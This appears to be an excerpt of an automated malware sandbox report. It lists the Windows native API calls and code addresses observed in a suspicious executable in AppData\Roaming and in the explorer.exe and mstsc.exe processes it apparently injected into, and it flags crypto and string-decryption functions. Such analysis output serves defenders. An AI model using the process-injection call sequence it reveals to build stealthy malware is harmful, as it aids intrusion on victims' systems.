Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D60048 NtProtectVirtualMemory,LdrInitializeThunk, 7_2_00D60048
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D60078 NtResumeThread,LdrInitializeThunk, 7_2_00D60078
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5F9F0 NtClose,LdrInitializeThunk, 7_2_00D5F9F0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5F900 NtReadFile,LdrInitializeThunk, 7_2_00D5F900
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_00D5FAD0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_00D5FAE8
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_00D5FBB8
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_00D5FB68
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FC90 NtUnmapViewOfSection,LdrInitializeThunk, 7_2_00D5FC90
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_00D5FC60
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_00D5FDC0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FD8C NtDelayExecution,LdrInitializeThunk, 7_2_00D5FD8C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_00D5FED0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FEA0 NtReadVirtualMemory,LdrInitializeThunk, 7_2_00D5FEA0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FFB4 NtCreateSection,LdrInitializeThunk, 7_2_00D5FFB4
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D60060 NtQuerySection, 7_2_00D60060
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D601D4 NtSetValueKey, 7_2_00D601D4
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6010C NtOpenDirectoryObject, 7_2_00D6010C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D607AC NtCreateMutant, 7_2_00D607AC
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D60C40 NtGetContextThread, 7_2_00D60C40
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D610D0 NtOpenProcessToken, 7_2_00D610D0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D61148 NtOpenThread, 7_2_00D61148
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5F8CC NtWaitForSingleObject, 7_2_00D5F8CC
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D61930 NtSetContextThread, 7_2_00D61930
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5F938 NtWriteFile, 7_2_00D5F938
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FAB8 NtQueryValueKey, 7_2_00D5FAB8
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FA50 NtEnumerateValueKey, 7_2_00D5FA50
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FA20 NtQueryInformationFile, 7_2_00D5FA20
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FBE8 NtQueryVirtualMemory, 7_2_00D5FBE8
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FB50 NtCreateKey, 7_2_00D5FB50
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FC48 NtSetInformationFile, 7_2_00D5FC48
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FC30 NtOpenProcess, 7_2_00D5FC30
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D61D80 NtSuspendThread, 7_2_00D61D80
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FD5C NtEnumerateKey, 7_2_00D5FD5C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FE24 NtWriteVirtualMemory, 7_2_00D5FE24
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FFFC NtCreateProcessEx, 7_2_00D5FFFC
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D5FF34 NtQueueApcThread, 7_2_00D5FF34
Source: C:\Windows\explorer.exe Code function: 9_2_08CDEE12 NtProtectVirtualMemory, 9_2_08CDEE12
Source: C:\Windows\explorer.exe Code function: 9_2_08CDD232 NtCreateFile, 9_2_08CDD232
Source: C:\Windows\explorer.exe Code function: 9_2_08CDEE0A NtProtectVirtualMemory, 9_2_08CDEE0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A00C4 NtCreateFile,LdrInitializeThunk, 10_2_022A00C4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A07AC NtCreateMutant,LdrInitializeThunk, 10_2_022A07AC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FAB8 NtQueryValueKey,LdrInitializeThunk, 10_2_0229FAB8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FAE8 NtQueryInformationProcess,LdrInitializeThunk, 10_2_0229FAE8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 10_2_0229FAD0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FB68 NtFreeVirtualMemory,LdrInitializeThunk, 10_2_0229FB68
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FB50 NtCreateKey,LdrInitializeThunk, 10_2_0229FB50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FBB8 NtQueryInformationToken,LdrInitializeThunk, 10_2_0229FBB8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229F900 NtReadFile,LdrInitializeThunk, 10_2_0229F900
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229F9F0 NtClose,LdrInitializeThunk, 10_2_0229F9F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 10_2_0229FED0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FFB4 NtCreateSection,LdrInitializeThunk, 10_2_0229FFB4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FC60 NtMapViewOfSection,LdrInitializeThunk, 10_2_0229FC60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FD8C NtDelayExecution,LdrInitializeThunk, 10_2_0229FD8C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FDC0 NtQuerySystemInformation,LdrInitializeThunk, 10_2_0229FDC0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A0060 NtQuerySection, 10_2_022A0060
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A0078 NtResumeThread, 10_2_022A0078
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A0048 NtProtectVirtualMemory, 10_2_022A0048
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A010C NtOpenDirectoryObject, 10_2_022A010C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A01D4 NtSetValueKey, 10_2_022A01D4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A0C40 NtGetContextThread, 10_2_022A0C40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A10D0 NtOpenProcessToken, 10_2_022A10D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A1148 NtOpenThread, 10_2_022A1148
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FA20 NtQueryInformationFile, 10_2_0229FA20
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FA50 NtEnumerateValueKey, 10_2_0229FA50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FBE8 NtQueryVirtualMemory, 10_2_0229FBE8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229F8CC NtWaitForSingleObject, 10_2_0229F8CC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229F938 NtWriteFile, 10_2_0229F938
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A1930 NtSetContextThread, 10_2_022A1930
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FE24 NtWriteVirtualMemory, 10_2_0229FE24
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FEA0 NtReadVirtualMemory, 10_2_0229FEA0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FF34 NtQueueApcThread, 10_2_0229FF34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FFFC NtCreateProcessEx, 10_2_0229FFFC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FC30 NtOpenProcess, 10_2_0229FC30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FC48 NtSetInformationFile, 10_2_0229FC48
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FC90 NtUnmapViewOfSection, 10_2_0229FC90
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0229FD5C NtEnumerateKey, 10_2_0229FD5C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022A1D80 NtSuspendThread, 10_2_022A1D80
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009A330 NtCreateFile, 10_2_0009A330
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009A3E0 NtReadFile, 10_2_0009A3E0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009A460 NtClose, 10_2_0009A460
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009A510 NtAllocateVirtualMemory, 10_2_0009A510
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009A3DC NtReadFile, 10_2_0009A3DC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02049BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose, 10_2_02049BAF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread, 10_2_0204A036
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02049BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 10_2_02049BB2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204A042 NtQueryInformationProcess, 10_2_0204A042
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001BA298 5_2_001BA298
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B0514 5_2_001B0514
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B49D9 5_2_001B49D9
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B5CA9 5_2_001B5CA9
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B1141 5_2_001B1141
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B81F0 5_2_001B81F0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001BA28A 5_2_001BA28A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001BA4F7 5_2_001BA4F7
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001BA508 5_2_001BA508
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B78F8 5_2_001B78F8
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B7D30 5_2_001B7D30
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_00741880 5_2_00741880
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_00740F60 5_2_00740F60
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_00742358 5_2_00742358
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_00740B28 5_2_00740B28
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_00741398 5_2_00741398
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6E0C6 7_2_00D6E0C6
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6E2E9 7_2_00D6E2E9
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D963DB 7_2_00D963DB
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E163BF 7_2_00E163BF
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DBA37B 7_2_00DBA37B
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D72305 7_2_00D72305
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF443E 7_2_00DF443E
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D8C5F0 7_2_00D8C5F0
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF05E3 7_2_00DF05E3
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DB6540 7_2_00DB6540
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D7E6C1 7_2_00D7E6C1
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D74680 7_2_00D74680
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E12622 7_2_00E12622
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DBA634 7_2_00DBA634
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D7C7BC 7_2_00D7C7BC
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D7C85C 7_2_00D7C85C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D9286D 7_2_00D9286D
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E049F5 7_2_00E049F5
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D869FE 7_2_00D869FE
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D729B2 7_2_00D729B2
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E1098E 7_2_00E1098E
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DBC920 7_2_00DBC920
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF6BCB 7_2_00DF6BCB
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E1CBA4 7_2_00E1CBA4
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E12C9C 7_2_00E12C9C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DFAC5E 7_2_00DFAC5E
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D7CD5B 7_2_00D7CD5B
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DA0D3B 7_2_00DA0D3B
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D8EE4C 7_2_00D8EE4C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DA2E2F 7_2_00DA2E2F
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DE2FDC 7_2_00DE2FDC
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E0CFB1 7_2_00E0CFB1
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D80F3F 7_2_00D80F3F
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D8905A 7_2_00D8905A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D73040 7_2_00D73040
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DED06D 7_2_00DED06D
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D9D005 7_2_00D9D005
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DFD13F 7_2_00DFD13F
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E11238 7_2_00E11238
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6F3CF 7_2_00D6F3CF
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D77353 7_2_00D77353
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D81489 7_2_00D81489
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DA5485 7_2_00DA5485
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DAD47D 7_2_00DAD47D
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E135DA 7_2_00E135DA
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D7351F 7_2_00D7351F
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DA57C3 7_2_00DA57C3
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF579A 7_2_00DF579A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E0771D 7_2_00E0771D
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E0F8EE 7_2_00E0F8EE
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DEF8C4 7_2_00DEF8C4
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF5955 7_2_00DF5955
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DF394B 7_2_00DF394B
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E23A83 7_2_00E23A83
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6FBD7 7_2_00D6FBD7
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DFDBDA 7_2_00DFDBDA
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D97B00 7_2_00D97B00
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00E0FDDD 7_2_00E0FDDD
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D9DF7C 7_2_00D9DF7C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DFBF14 7_2_00DFBF14
Source: C:\Windows\explorer.exe Code function: 9_2_08200036 9_2_08200036
Source: C:\Windows\explorer.exe Code function: 9_2_081F7082 9_2_081F7082
Source: C:\Windows\explorer.exe Code function: 9_2_081FE912 9_2_081FE912
Source: C:\Windows\explorer.exe Code function: 9_2_081F8D02 9_2_081F8D02
Source: C:\Windows\explorer.exe Code function: 9_2_082045CD 9_2_082045CD
Source: C:\Windows\explorer.exe Code function: 9_2_08201232 9_2_08201232
Source: C:\Windows\explorer.exe Code function: 9_2_081FBB32 9_2_081FBB32
Source: C:\Windows\explorer.exe Code function: 9_2_081FBB30 9_2_081FBB30
Source: C:\Windows\explorer.exe Code function: 9_2_08CDD232 9_2_08CDD232
Source: C:\Windows\explorer.exe Code function: 9_2_08CD3082 9_2_08CD3082
Source: C:\Windows\explorer.exe Code function: 9_2_08CDC036 9_2_08CDC036
Source: C:\Windows\explorer.exe Code function: 9_2_08CE05CD 9_2_08CE05CD
Source: C:\Windows\explorer.exe Code function: 9_2_08CD4D02 9_2_08CD4D02
Source: C:\Windows\explorer.exe Code function: 9_2_08CDA912 9_2_08CDA912
Source: C:\Windows\explorer.exe Code function: 9_2_08CD7B30 9_2_08CD7B30
Source: C:\Windows\explorer.exe Code function: 9_2_08CD7B32 9_2_08CD7B32
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0094884E 10_2_0094884E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091C869 10_2_0091C869
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00964908 10_2_00964908
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00912152 10_2_00912152
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0093DA85 10_2_0093DA85
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0093E2AE 10_2_0093E2AE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00959506 10_2_00959506
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00938741 10_2_00938741
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022AE2E9 10_2_022AE2E9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B2305 10_2_022B2305
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022FA37B 10_2_022FA37B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_023563BF 10_2_023563BF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022D63DB 10_2_022D63DB
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022AE0C6 10_2_022AE0C6
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02352622 10_2_02352622
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022FA634 10_2_022FA634
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B4680 10_2_022B4680
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022BE6C1 10_2_022BE6C1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022BC7BC 10_2_022BC7BC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233443E 10_2_0233443E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022F6540 10_2_022F6540
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_023305E3 10_2_023305E3
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022CC5F0 10_2_022CC5F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0235CBA4 10_2_0235CBA4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02336BCB 10_2_02336BCB
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022D286D 10_2_022D286D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022BC85C 10_2_022BC85C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022FC920 10_2_022FC920
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B29B2 10_2_022B29B2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0235098E 10_2_0235098E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_023449F5 10_2_023449F5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022C69FE 10_2_022C69FE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022E2E2F 10_2_022E2E2F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022CEE4C 10_2_022CEE4C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022C0F3F 10_2_022C0F3F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0234CFB1 10_2_0234CFB1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02322FDC 10_2_02322FDC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233AC5E 10_2_0233AC5E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02352C9C 10_2_02352C9C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022E0D3B 10_2_022E0D3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022BCD5B 10_2_022BCD5B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02351238 10_2_02351238
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B7353 10_2_022B7353
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022AF3CF 10_2_022AF3CF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022DD005 10_2_022DD005
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0232D06D 10_2_0232D06D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B3040 10_2_022B3040
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022C905A 10_2_022C905A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233D13F 10_2_0233D13F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0234771D 10_2_0234771D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233579A 10_2_0233579A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022E57C3 10_2_022E57C3
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022ED47D 10_2_022ED47D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022C1489 10_2_022C1489
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022E5485 10_2_022E5485
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B351F 10_2_022B351F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_023535DA 10_2_023535DA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02363A83 10_2_02363A83
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022D7B00 10_2_022D7B00
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233DBDA 10_2_0233DBDA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022AFBD7 10_2_022AFBD7
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0234F8EE 10_2_0234F8EE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0232F8C4 10_2_0232F8C4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02335955 10_2_02335955
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233394B 10_2_0233394B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0233BF14 10_2_0233BF14
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022DDF7C 10_2_022DDF7C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0234FDDD 10_2_0234FDDD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009D64C 10_2_0009D64C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00082D90 10_2_00082D90
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00089E5D 10_2_00089E5D
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00089E60 10_2_00089E60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00082FB0 10_2_00082FB0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204A036 10_2_0204A036
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204B232 10_2_0204B232
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02045B30 10_2_02045B30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02045B32 10_2_02045B32
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02041082 10_2_02041082
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02048912 10_2_02048912
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02042D02 10_2_02042D02
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204E5CD 10_2_0204E5CD
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 022ADF5C appears 137 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 00911040 appears 587 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 022AE2A8 appears 60 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 00964E47 appears 128 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 022F373B appears 253 times
